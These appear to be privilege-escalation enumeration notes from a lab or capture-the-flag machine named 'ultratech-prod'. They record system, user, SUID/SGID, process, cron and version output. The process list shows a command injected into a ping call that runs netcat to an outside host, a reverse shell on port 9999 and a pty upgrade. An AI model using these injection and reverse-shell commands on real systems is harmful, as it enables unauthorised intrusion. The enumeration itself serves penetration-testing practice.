System/Kernel


www@ultratech-prod:/home/www/api$ filfile /bin/bash ; uname -a ; cat /etc/*release
/bin/bash: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=b636f50d85c3cca7cf2518030446660c1d90d660, stripped
Linux ultratech-prod 4.15.0-46-generic #49-Ubuntu SMP Wed Feb 6 09:33:07 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=18.04
DISTRIB_CODENAME=bionic
DISTRIB_DESCRIPTION="Ubuntu 18.04.2 LTS"
NAME="Ubuntu"
VERSION="18.04.2 LTS (Bionic Beaver)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 18.04.2 LTS"
VERSION_ID="18.04"
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSION_CODENAME=bionic
UBUNTU_CODENAME=bionic

64-bit Ubuntu 18.04.2 LTS (Bionic Beaver) 4.15.0-46-generic

Networks


www@ultratech-prod:/home/www/api$ ip route ; arp -a
default via 10.10.0.1 dev eth0 proto dhcp src 10.10.57.71 metric 100 
10.10.0.0/16 dev eth0 proto kernel scope link src 10.10.57.71 
10.10.0.1 dev eth0 proto dhcp scope link src 10.10.57.71 metric 100 
ip-10-10-0-1.eu-west-1.compute.internal (10.10.0.1) at 02:c8:85:b5:5a:aa [ether] on eth0
www@ultratech-prod:/home/www/api$ netstat -antup4
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      1 10.10.57.71:46482       185.125.188.59:443      SYN_SENT    -                   
tcp        0    284 10.10.57.71:53804       10.9.1.180:9999         ESTABLISHED 1940/sh             
udp        0      0 127.0.0.53:53           0.0.0.0:*                           -                   
udp        0      0 10.10.57.71:68          0.0.0.0:*                           -                   

127.0.0.1:3306

Users & Groups


www@ultratech-prod:/home/www/api$ cat /etc/passwd ; ll /home
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
lp1:x:1000:1000:lp1:/home/lp1:/bin/bash
mysql:x:111:113:MySQL Server,,,:/nonexistent:/bin/false
ftp:x:112:115:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
r00t:x:1001:1001::/home/r00t:/bin/bash
www:x:1002:1002::/home/www:/bin/sh
total 20K
4.0K drwxr-xr-x  5 lp1  lp1  4.0K Mar 22  2019 lp1
4.0K drwxr-xr-x  5 www  www  4.0K Mar 22  2019 www
4.0K drwxr-xr-x  2 r00t r00t 4.0K Mar 22  2019 r00t
4.0K drwxr-xr-x  5 root root 4.0K Mar 22  2019 .
4.0K drwxr-xr-x 23 root root 4.0K Mar 19  2019 ..

lp1 r00t

www@ultratech-prod:/home/www/api$ cut -d: -f1 /etc/passwd | xargs -n1 id
uid=0(root) gid=0(root) groups=0(root)
uid=1(daemon) gid=1(daemon) groups=1(daemon)
uid=2(bin) gid=2(bin) groups=2(bin)
uid=3(sys) gid=3(sys) groups=3(sys)
uid=4(sync) gid=65534(nogroup) groups=65534(nogroup)
uid=5(games) gid=60(games) groups=60(games)
uid=6(man) gid=12(man) groups=12(man)
uid=7(lp) gid=7(lp) groups=7(lp)
uid=8(mail) gid=8(mail) groups=8(mail)
uid=9(news) gid=9(news) groups=9(news)
uid=10(uucp) gid=10(uucp) groups=10(uucp)
uid=13(proxy) gid=13(proxy) groups=13(proxy)
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uid=34(backup) gid=34(backup) groups=34(backup)
uid=38(list) gid=38(list) groups=38(list)
uid=39(irc) gid=39(irc) groups=39(irc)
uid=41(gnats) gid=41(gnats) groups=41(gnats)
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
uid=100(systemd-network) gid=102(systemd-network) groups=102(systemd-network)
uid=101(systemd-resolve) gid=103(systemd-resolve) groups=103(systemd-resolve)
uid=102(syslog) gid=106(syslog) groups=106(syslog),4(adm)
uid=103(messagebus) gid=107(messagebus) groups=107(messagebus)
uid=104(_apt) gid=65534(nogroup) groups=65534(nogroup)
uid=105(lxd) gid=65534(nogroup) groups=65534(nogroup)
uid=106(uuidd) gid=110(uuidd) groups=110(uuidd)
uid=107(dnsmasq) gid=65534(nogroup) groups=65534(nogroup)
uid=108(landscape) gid=112(landscape) groups=112(landscape)
uid=109(pollinate) gid=1(daemon) groups=1(daemon)
uid=110(sshd) gid=65534(nogroup) groups=65534(nogroup)
uid=1000(lp1) gid=1000(lp1) groups=1000(lp1),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)
uid=111(mysql) gid=113(mysql) groups=113(mysql)
uid=112(ftp) gid=115(ftp) groups=115(ftp)
uid=1001(r00t) gid=1001(r00t) groups=1001(r00t),116(docker)
uid=1002(www) gid=1002(www) groups=1002(www)

uid=1000(lp1) gid=1000(lp1) groups=1000(lp1),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd) uid=1001(r00t) gid=1001(r00t) groups=1001(r00t),116(docker)

SUIDs


www@ultratech-prod:/home/www/api$ find / -perm -04000 -ls -type f 2>/dev/null
   393829    100 -rwsr-xr-x   1 root     root       100760 Nov 23  2018 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
   263394     16 -rwsr-xr-x   1 root     root        14328 Jan 15  2019 /usr/lib/policykit-1/polkit-agent-helper-1
   263200     44 -rwsr-xr--   1 root     messagebus    42992 Nov 15  2017 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
   263207     12 -rwsr-xr-x   1 root     root          10232 Mar 28  2017 /usr/lib/eject/dmcrypt-get-device
   277410    100 -rwsr-sr-x   1 root     root         101240 Mar 15  2019 /usr/lib/snapd/snap-confine
   277151    428 -rwsr-xr-x   1 root     root         436552 Mar  4  2019 /usr/lib/openssh/ssh-keysign
   262837     40 -rwsr-xr-x   1 root     root          37136 Jan 25  2018 /usr/bin/newuidmap
   262632     76 -rwsr-xr-x   1 root     root          76496 Jan 25  2018 /usr/bin/chfn
   263014     20 -rwsr-xr-x   1 root     root          18448 Mar  9  2017 /usr/bin/traceroute6.iputils
   262836     40 -rwsr-xr-x   1 root     root          40344 Jan 25  2018 /usr/bin/newgrp
   262634     44 -rwsr-xr-x   1 root     root          44528 Jan 25  2018 /usr/bin/chsh
   262835     40 -rwsr-xr-x   1 root     root          37136 Jan 25  2018 /usr/bin/newgidmap
   262853     60 -rwsr-xr-x   1 root     root          59640 Jan 25  2018 /usr/bin/passwd
   262873     24 -rwsr-xr-x   1 root     root          22520 Jan 15  2019 /usr/bin/pkexec
   262581     52 -rwsr-sr-x   1 daemon   daemon        51464 Feb 20  2018 /usr/bin/at
   262978    148 -rwsr-xr-x   1 root     root         149080 Jan 18  2018 /usr/bin/sudo
   262726     76 -rwsr-xr-x   1 root     root          75824 Jan 25  2018 /usr/bin/gpasswd
   131207     44 -rwsr-xr-x   1 root     root          44664 Jan 25  2018 /bin/su
   131167     44 -rwsr-xr-x   1 root     root          43088 Oct 15  2018 /bin/mount
   131191     64 -rwsr-xr-x   1 root     root          64424 Mar  9  2017 /bin/ping
   131109    144 -rwsr-xr-x   1 root     root         146128 Mar 14  2019 /bin/ntfs-3g
   131140     32 -rwsr-xr-x   1 root     root          30800 Aug 11  2016 /bin/fusermount
   131225     28 -rwsr-xr-x   1 root     root          26696 Oct 15  2018 /bin/umount
       66     40 -rwsr-xr-x   1 root     root          40152 May 16  2018 /snap/core/6350/bin/mount
       80     44 -rwsr-xr-x   1 root     root          44168 May  7  2014 /snap/core/6350/bin/ping
       81     44 -rwsr-xr-x   1 root     root          44680 May  7  2014 /snap/core/6350/bin/ping6
       98     40 -rwsr-xr-x   1 root     root          40128 May 17  2017 /snap/core/6350/bin/su
      116     27 -rwsr-xr-x   1 root     root          27608 May 16  2018 /snap/core/6350/bin/umount
     2658     71 -rwsr-xr-x   1 root     root          71824 May 17  2017 /snap/core/6350/usr/bin/chfn
     2660     40 -rwsr-xr-x   1 root     root          40432 May 17  2017 /snap/core/6350/usr/bin/chsh
     2735     74 -rwsr-xr-x   1 root     root          75304 May 17  2017 /snap/core/6350/usr/bin/gpasswd
     2827     39 -rwsr-xr-x   1 root     root          39904 May 17  2017 /snap/core/6350/usr/bin/newgrp
     2840     53 -rwsr-xr-x   1 root     root          54256 May 17  2017 /snap/core/6350/usr/bin/passwd
     2950    134 -rwsr-xr-x   1 root     root         136808 Jul  4  2017 /snap/core/6350/usr/bin/sudo
     3049     42 -rwsr-xr--   1 root     systemd-resolve    42992 Jan 12  2017 /snap/core/6350/usr/lib/dbus-1.0/dbus-daemon-launch-helper
     3419    419 -rwsr-xr-x   1 root     root              428240 Nov  5  2018 /snap/core/6350/usr/lib/openssh/ssh-keysign
     6445     97 -rwsr-sr-x   1 root     root               98472 Jan 29  2019 /snap/core/6350/usr/lib/snapd/snap-confine
     7615    386 -rwsr-xr--   1 root     dip               394984 Jun 12  2018 /snap/core/6350/usr/sbin/pppd
       66     40 -rwsr-xr-x   1 root     root               40152 May 16  2018 /snap/core/6531/bin/mount
       80     44 -rwsr-xr-x   1 root     root               44168 May  7  2014 /snap/core/6531/bin/ping
       81     44 -rwsr-xr-x   1 root     root               44680 May  7  2014 /snap/core/6531/bin/ping6
       98     40 -rwsr-xr-x   1 root     root               40128 May 17  2017 /snap/core/6531/bin/su
      116     27 -rwsr-xr-x   1 root     root               27608 May 16  2018 /snap/core/6531/bin/umount
     2658     71 -rwsr-xr-x   1 root     root               71824 May 17  2017 /snap/core/6531/usr/bin/chfn
     2660     40 -rwsr-xr-x   1 root     root               40432 May 17  2017 /snap/core/6531/usr/bin/chsh
     2735     74 -rwsr-xr-x   1 root     root               75304 May 17  2017 /snap/core/6531/usr/bin/gpasswd
     2827     39 -rwsr-xr-x   1 root     root               39904 May 17  2017 /snap/core/6531/usr/bin/newgrp
     2840     53 -rwsr-xr-x   1 root     root               54256 May 17  2017 /snap/core/6531/usr/bin/passwd
     2950    134 -rwsr-xr-x   1 root     root              136808 Jul  4  2017 /snap/core/6531/usr/bin/sudo
     3049     42 -rwsr-xr--   1 root     systemd-resolve    42992 Jan 12  2017 /snap/core/6531/usr/lib/dbus-1.0/dbus-daemon-launch-helper
     3419    419 -rwsr-xr-x   1 root     root              428240 Jan 31  2019 /snap/core/6531/usr/lib/openssh/ssh-keysign
     6445     97 -rwsr-sr-x   1 root     root               98472 Feb 27  2019 /snap/core/6531/usr/lib/snapd/snap-confine
     7615    386 -rwsr-xr--   1 root     dip               394984 Jun 12  2018 /snap/core/6531/usr/sbin/pppd

SGIDs


www@ultratech-prod:/home/www/api$ find / -perm -02000 -ls -type f 2>/dev/null
   401910      4 drwxr-sr-x   3 root     systemd-journal     4096 Mar 19  2019 /var/log/journal
   407539      4 drwxr-sr-x   2 root     systemd-journal     4096 Jul 22 16:08 /var/log/journal/8395ee3c2022408bba17501034058b07
   401864      4 drwxrwsr-x   2 root     staff               4096 Apr 24  2018 /var/local
   529755      4 drwxrwsr-x   2 root     mail                4096 Feb 14  2019 /var/mail
  1179878     36 -rwxr-sr-x   1 root     shadow             34816 Feb 27  2019 /sbin/unix_chkpwd
  1179874     36 -rwxr-sr-x   1 root     shadow             34816 Feb 27  2019 /sbin/pam_extrausers_chkpwd
   408475      4 drwxrwsr-x   4 root     staff               4096 Mar 22  2019 /usr/local/share/emacs
   409487      4 drwxrwsr-x   3 root     staff               4096 Mar 22  2019 /usr/local/share/emacs/25.2
   409488      4 drwxrwsr-x   2 root     staff               4096 Mar 22  2019 /usr/local/share/emacs/25.2/site-lisp
   408480      4 drwxrwsr-x   2 root     staff               4096 Mar 22  2019 /usr/local/share/emacs/site-lisp
   409498      4 drwxrwsr-x   4 root     staff               4096 Mar 22  2019 /usr/local/lib/python2.7
   928385      4 drwxrwsr-x   2 root     staff               4096 Mar 22  2019 /usr/local/lib/python2.7/dist-packages
   413116      4 drwxrwsr-x   2 root     staff               4096 Mar 22  2019 /usr/local/lib/python2.7/site-packages
   269052      4 drwxrwsr-x   3 root     staff               4096 Feb 14  2019 /usr/local/lib/python3.6
   269053      4 drwxrwsr-x   2 root     staff               4096 Feb 14  2019 /usr/local/lib/python3.6/dist-packages
   927721     28 -rwxr-sr-x   1 root     mail               26616 Sep 12  2017 /usr/lib/emacs/25.2/x86_64-linux-gnu/movemail
   395010     12 -rwxr-sr-x   1 root     utmp               10232 Mar 11  2016 /usr/lib/x86_64-linux-gnu/utempter/utempter
   277410    100 -rwsr-sr-x   1 root     root              101240 Mar 15  2019 /usr/lib/snapd/snap-confine
   262592     16 -rwxr-sr-x   1 root     tty                14328 Jan 17  2018 /usr/bin/bsd-write
   262627     72 -rwxr-sr-x   1 root     shadow             71816 Jan 25  2018 /usr/bin/chage
   263068     32 -rwxr-sr-x   1 root     tty                30800 Oct 15  2018 /usr/bin/wall
   262654     40 -rwxr-sr-x   1 root     crontab            39352 Nov 16  2017 /usr/bin/crontab
   262705     24 -rwxr-sr-x   1 root     shadow             22808 Jan 25  2018 /usr/bin/expiry
   262827     44 -rwxr-sr-x   1 root     mlocate            43088 Mar  1  2018 /usr/bin/mlocate
   277145    356 -rwxr-sr-x   1 root     ssh               362640 Mar  4  2019 /usr/bin/ssh-agent
   278126     20 -rwxr-sr-x   1 root     mail               18424 Dec  3  2017 /usr/bin/dotlockfile
   262581     52 -rwsr-sr-x   1 daemon   daemon             51464 Feb 20  2018 /usr/bin/at
      391      0 drwxr-s---   2 root     dip                   54 Jan 29  2019 /snap/core/6350/etc/chatscripts
      793      0 drwxr-s---   2 root     dip                   31 Jan 29  2019 /snap/core/6350/etc/ppp/peers
     2576     35 -rwxr-sr-x   1 root     shadow             35632 Apr  9  2018 /snap/core/6350/sbin/pam_extrausers_chkpwd
     2616     35 -rwxr-sr-x   1 root     shadow             35600 Apr  9  2018 /snap/core/6350/sbin/unix_chkpwd
     2653     61 -rwxr-sr-x   1 root     shadow             62336 May 17  2017 /snap/core/6350/usr/bin/chage
     2672     36 -rwxr-sr-x   1 root     systemd-network    36080 Apr  5  2016 /snap/core/6350/usr/bin/crontab
     2701     15 -rwxr-sr-x   1 root     mail               14856 Dec  7  2013 /snap/core/6350/usr/bin/dotlockfile
     2713     23 -rwxr-sr-x   1 root     shadow             22768 May 17  2017 /snap/core/6350/usr/bin/expiry
     2810     15 -rwxr-sr-x   3 root     mail               14592 Dec  3  2012 /snap/core/6350/usr/bin/mail-lock
     2810     15 -rwxr-sr-x   3 root     mail               14592 Dec  3  2012 /snap/core/6350/usr/bin/mail-touchlock
     2810     15 -rwxr-sr-x   3 root     mail               14592 Dec  3  2012 /snap/core/6350/usr/bin/mail-unlock
     2943    351 -rwxr-sr-x   1 root     crontab           358624 Nov  5  2018 /snap/core/6350/usr/bin/ssh-agent
     3008     27 -rwxr-sr-x   1 root     tty                27368 May 16  2018 /snap/core/6350/usr/bin/wall
     6445     97 -rwsr-sr-x   1 root     root               98472 Jan 29  2019 /snap/core/6350/usr/lib/snapd/snap-confine
     7554      0 drwxrwsr-x   3 root     staff                 36 Jan 29  2019 /snap/core/6350/usr/local/lib/python3.5
     7555      0 drwxrwsr-x   2 root     staff                  3 Jan 29  2019 /snap/core/6350/usr/local/lib/python3.5/dist-packages
    12794      0 drwxrwsr-x   2 root     staff                  3 Apr 12  2016 /snap/core/6350/var/local
    12805      0 drwxrwsr-x   2 root     mail                   3 Jan 29  2019 /snap/core/6350/var/mail
      391      0 drwxr-s---   2 root     dip                   54 Feb 27  2019 /snap/core/6531/etc/chatscripts
      793      0 drwxr-s---   2 root     dip                   31 Feb 27  2019 /snap/core/6531/etc/ppp/peers
     2576     35 -rwxr-sr-x   1 root     shadow             35632 Apr  9  2018 /snap/core/6531/sbin/pam_extrausers_chkpwd
     2616     35 -rwxr-sr-x   1 root     shadow             35600 Apr  9  2018 /snap/core/6531/sbin/unix_chkpwd
     2653     61 -rwxr-sr-x   1 root     shadow             62336 May 17  2017 /snap/core/6531/usr/bin/chage
     2672     36 -rwxr-sr-x   1 root     systemd-network    36080 Apr  5  2016 /snap/core/6531/usr/bin/crontab
     2701     15 -rwxr-sr-x   1 root     mail               14856 Dec  7  2013 /snap/core/6531/usr/bin/dotlockfile
     2713     23 -rwxr-sr-x   1 root     shadow             22768 May 17  2017 /snap/core/6531/usr/bin/expiry
     2810     15 -rwxr-sr-x   3 root     mail               14592 Dec  3  2012 /snap/core/6531/usr/bin/mail-lock
     2810     15 -rwxr-sr-x   3 root     mail               14592 Dec  3  2012 /snap/core/6531/usr/bin/mail-touchlock
     2810     15 -rwxr-sr-x   3 root     mail               14592 Dec  3  2012 /snap/core/6531/usr/bin/mail-unlock
     2943    351 -rwxr-sr-x   1 root     crontab           358624 Jan 31  2019 /snap/core/6531/usr/bin/ssh-agent
     3008     27 -rwxr-sr-x   1 root     tty                27368 May 16  2018 /snap/core/6531/usr/bin/wall
     6445     97 -rwsr-sr-x   1 root     root               98472 Feb 27  2019 /snap/core/6531/usr/lib/snapd/snap-confine
     7554      0 drwxrwsr-x   3 root     staff                 36 Feb 27  2019 /snap/core/6531/usr/local/lib/python3.5
     7555      0 drwxrwsr-x   2 root     staff                  3 Feb 27  2019 /snap/core/6531/usr/local/lib/python3.5/dist-packages
    12793      0 drwxrwsr-x   2 root     staff                  3 Apr 12  2016 /snap/core/6531/var/local
    12804      0 drwxrwsr-x   2 root     mail                   3 Feb 27  2019 /snap/core/6531/var/mail

Processes


www@ultratech-prod:/home/www/api$ ps -auxwww
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  1.4  1.3 225164  6772 ?        Ss   16:08   0:30 /sbin/init maybe-ubiquity
root       411  0.1  1.5  94852  7724 ?        S<s  16:08   0:03 /lib/systemd/systemd-journald
root       417  0.0  0.2  97708  1428 ?        Ss   16:08   0:00 /sbin/lvmetad -f
root       422  0.2  0.8  46136  4368 ?        Ss   16:08   0:05 /lib/systemd/systemd-udevd
systemd+   496  0.0  0.3 141924  1480 ?        Ssl  16:09   0:00 /lib/systemd/systemd-timesyncd
systemd+   642  0.0  0.7  80036  3796 ?        Ss   16:09   0:00 /lib/systemd/systemd-networkd
systemd+   660  0.0  0.6  70624  3276 ?        Ss   16:09   0:00 /lib/systemd/systemd-resolved
syslog     736  0.0  0.6 267272  3200 ?        Ssl  16:09   0:00 /usr/sbin/rsyslogd -n
root       737  0.0  0.4 604872  2160 ?        Ssl  16:09   0:00 /usr/bin/lxcfs /var/lib/lxcfs/
root       739  0.1  2.2 169088 11248 ?        Ssl  16:09   0:02 /usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers
root       744  0.0  0.8 286236  4124 ?        Ssl  16:09   0:00 /usr/lib/accountsservice/accounts-daemon
message+   746  0.0  0.7  50060  3444 ?        Ss   16:09   0:00 /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
root       769  0.0  0.2  31872  1068 ?        Ss   16:09   0:00 /usr/sbin/inetd
root       772  0.0  0.7  62128  3860 ?        Ss   16:09   0:00 /lib/systemd/systemd-logind
daemon     774  0.0  0.3  28332  1936 ?        Ss   16:09   0:00 /usr/sbin/atd -f
root       780  0.0  0.5  30028  2712 ?        Ss   16:09   0:00 /usr/sbin/cron -f
root       791  0.0  0.3  28676  1892 ?        Ss   16:09   0:00 /usr/sbin/vsftpd /etc/vsftpd.conf
root       804  0.0  0.4  14664  1976 ttyS0    Ss+  16:09   0:00 /sbin/agetty -o -p -- \u --keep-baud 115200,38400,9600 ttyS0 vt220
root       807  0.0  0.3  14888  1632 tty1     Ss+  16:09   0:00 /sbin/agetty -o -p -- \u --noclear tty1 linux
root       808  0.0  2.5 185908 12364 ?        Ssl  16:09   0:01 /usr/bin/python3 /usr/share/unattended-upgrades/unattended-upgrade-shutdown --wait-for-signal
root       814  0.0  0.6 291344  2980 ?        Ssl  16:09   0:00 /usr/lib/policykit-1/polkitd --no-debug
root       820  0.0  0.6  72296  3156 ?        Ss   16:09   0:00 /usr/sbin/sshd -D
root       870  0.0  2.5 625804 12688 ?        Ssl  16:09   0:01 /usr/lib/snapd/snapd
root       895  0.0  0.5  57500  2624 ?        S    16:10   0:00 /usr/sbin/CRON -f
www        921  0.0  0.1   4628   768 ?        Ss   16:10   0:00 /bin/sh -c sh /home/www/api/start.sh
www        922  0.0  0.1   4628   844 ?        S    16:10   0:00 sh /home/www/api/start.sh
www        964  0.7  4.7 1165552 23324 ?       Sl   16:10   0:14 node index.js
mysql      970  0.1 33.5 1154564 164804 ?      Sl   16:10   0:03 /usr/sbin/mysqld --daemonize --pid-file=/run/mysqld/mysqld.pid
root       983  0.0  1.7 335320  8464 ?        Ss   16:10   0:00 /usr/sbin/apache2 -k start
www-data   992  0.0  1.4 339940  7200 ?        S    16:10   0:00 /usr/sbin/apache2 -k start
www-data   993  0.0  1.4 339940  7216 ?        S    16:10   0:00 /usr/sbin/apache2 -k start
www-data   994  0.0  1.4 339940  7148 ?        S    16:10   0:00 /usr/sbin/apache2 -k start
www-data   995  0.0  1.4 339764  7044 ?        S    16:10   0:00 /usr/sbin/apache2 -k start
www-data   996  0.0  1.4 339940  7132 ?        S    16:10   0:00 /usr/sbin/apache2 -k start
www-data  1212  0.0  1.5 339724  7804 ?        S    16:12   0:00 /usr/sbin/apache2 -k start
www       1798  0.0  0.1   4628   916 ?        S    16:27   0:00 /bin/sh -c ping -c 1 "`(nc 10.9.1.180 9999)`"
www       1799  0.0  0.4  15716  2188 ?        S    16:27   0:00 nc 10.9.1.180 9999
www       1939  0.0  0.1   4628   772 ?        S    16:33   0:00 /bin/sh -c ping -c 1 "`(./shell)`"
www       1940  0.0  0.1   4628   776 ?        S    16:33   0:00 /bin/sh
www       2123  0.0  1.4  37284  7312 ?        S    16:39   0:00 python3 -c import pty; pty.spawn("/bin/bash")
www       2126  0.0  0.9  19676  4548 pts/0    Ss   16:39   0:00 /bin/bash
root      2303  0.0  0.6  57500  3196 ?        S    16:44   0:00 /usr/sbin/CRON -f
www       2304  0.0  0.1   4628   876 ?        Ss   16:44   0:00 /bin/sh -c sh /home/www/api/start.sh
www       2305  0.0  0.1   4628   828 ?        S    16:44   0:00 sh /home/www/api/start.sh
www       2308  0.0  3.6 655144 17896 ?        Rl   16:44   0:00 node index.js
www       2313  0.0  0.6  36700  3160 pts/0    R+   16:44   0:00 ps -auxwww

/sbin/lvmetad -f /usr/bin/lxcfs /var/lib/lxcfs/ /usr/sbin/inetd /usr/sbin/cron -f /usr/sbin/vsftpd /etc/vsftpd.conf /usr/lib/policykit-1/polkitd --no-debug /bin/sh -c sh /home/www/api/start.sh node index.js /usr/sbin/mysqld --daemonize --pid-file=/run/mysqld/mysqld.pid

Cron & Systemd


www@ultratech-prod:/home/www/api$ crontab -l ; cat /etc/crontab ; systemctl list-timers
# Edit this file to introduce tasks to be run by cron.
# 
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
# 
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').# 
# Notice that tasks will be started based on the cron's system
# daemon's notion of time and timezones.
# 
# Output of the crontab jobs (including errors) is sent through
# email to the user the crontab file belongs to (unless redirected).
# 
# For example, you can run a backup of all your user accounts
# at 5 a.m every week with:
# 0 5 * * 1 tar -zcf /var/backups/home.tgz /home/
# 
# For more information see the manual pages of crontab(5) and cron(8)
# 
# m h  dom mon dow   command
* * * * * sh /home/www/api/start.sh
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
 
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
 
# m h dom mon dow user	command
17 *	* * *	root    cd / && run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6	* * 7	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6	1 * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
NEXT                         LEFT        LAST                         PASSED    
Mon 2024-07-22 17:09:00 UTC  22min left  Mon 2024-07-22 16:39:01 UTC  7min ago  
Tue 2024-07-23 04:38:48 UTC  11h left    Mon 2024-07-22 16:09:51 UTC  36min ago 
Tue 2024-07-23 05:09:31 UTC  12h left    Mon 2024-07-22 16:14:53 UTC  31min ago 
Tue 2024-07-23 06:01:15 UTC  13h left    Mon 2024-07-22 16:09:51 UTC  36min ago 
Tue 2024-07-23 16:23:08 UTC  23h left    Mon 2024-07-22 16:23:08 UTC  23min ago 
Mon 2024-07-29 00:00:00 UTC  6 days left Mon 2024-07-22 16:09:51 UTC  36min ago 
 
6 timers listed.
Pass --all to see loaded but inactive timers, too.
lines 1-10/10 (END)

* * * * * sh /home/www/api/start.sh

Sudo Version


www@ultratech-prod:/home/www/api$ sudo --version
Sudo version 1.8.21p2
Sudoers policy plugin version 1.8.21p2
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.21p2

Sudo version 1.8.21p2

Glibc Version


www@ultratech-prod:/home/www/api$ ldd --version
ldd (Ubuntu GLIBC 2.27-3ubuntu1) 2.27
Copyright (C) 2018 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.

ldd (Ubuntu GLIBC 2.27-3ubuntu1) 2.27